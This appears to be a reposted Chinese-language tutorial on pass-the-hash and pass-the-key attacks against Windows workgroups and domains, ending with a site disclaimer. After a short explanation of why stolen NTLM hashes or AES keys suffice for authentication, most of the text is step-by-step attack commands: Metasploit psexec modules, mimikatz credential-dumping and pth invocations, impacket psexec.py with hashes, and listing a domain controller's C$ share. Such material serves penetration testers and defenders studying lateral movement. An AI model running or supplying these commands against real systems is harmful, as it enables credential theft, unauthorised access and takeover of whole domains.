Pass The Hash(Key) 憑據傳遞攻擊PTH


Pass The Hash(Key) 憑據傳遞攻擊

原理

由於在進行認證的時候,是用用戶hash加密時間戳,即使在使用密碼進行登錄的情況下,也是先把密碼加密成hash,再進行認證。因此在只有用戶hash,沒有明文密碼的情況下也是可以進行認證的。不管是rubeus還是impacket里面的相關腳本都是支持直接使用hash進行認證。其中,如果hash的ntlm hash,然后加密方式是rc4,這種就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys導出來),就算是pass the key。在很多地方,不支持rc4加密方式的時候,使用pass the key不失為一種好方法。

利用條件

  • 在工作組環境中:
    Windows Vista 之前的機器,可以使用本地管理員組內用戶進行攻擊。
    Windows Vista 之后的機器,只能是administrator用戶的哈希值才能進行哈希傳遞攻擊,其他用戶(包括管理員用戶但是非administrator)也不能使用哈希傳遞攻擊,會提示拒絕訪問。

  • 在域環境中:
    只能是域管理員組內用戶(可以是域管理員組內非administrator用戶)的哈希值才能進行哈希傳遞攻擊,攻擊成功后,可以訪問域內任何一台機器

  • 修改目標機器的 LocalAccountTokenFilterPolicy 為1后,使用普通域管理員賬號也可進行哈希傳遞攻擊

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

利用方法

msf

use exploit/windows/smb/psexec_psh 
msf5 exploit(windows/smb/psexec_psh) > set rhosts 192.168.1.107
msf5 exploit(windows/smb/psexec_psh) > set smbuser Administrator
exploit(windows/smb/psexec_psh) > set smbpass 31d6cfe0d16ae931b73c59d7e0c089c0:249dbaafa8643e3d2f7c692761ba83e7

或者

use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.1.107
msf5 exploit(windows/smb/psexec) > set smbpass 31d6cfe0d16ae931b73c59d7e0c089c0:249dbaafa8643e3d2f7c692761ba83e7
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
msf5 exploit(windows/smb/psexec) > run

mimikatz

privilege::debug
sekurlsa::pth /user:用戶名 /domain:域名 /ntlm:NTLMHash

psexec.py

python /usr/share/doc/python3-impacket/examples/psexec.py -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:249dbaafa8643e3d2f7c692761ba83e7 ./Administrator@192.168.1.109

pass the key

  • 前提:只適用於域環境,並且目標主機需要安裝 KB2871997補丁
//使用mimikatz抓取AES-256密鑰
privilege::debug
sekurlsa::ekeys
//導入
privilege::debug
sekurlsa::pth /user:用戶名 /domain:域名 /aes256:AES256密鑰
//查看DC的共享文件夾
dir \\dc\c$


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM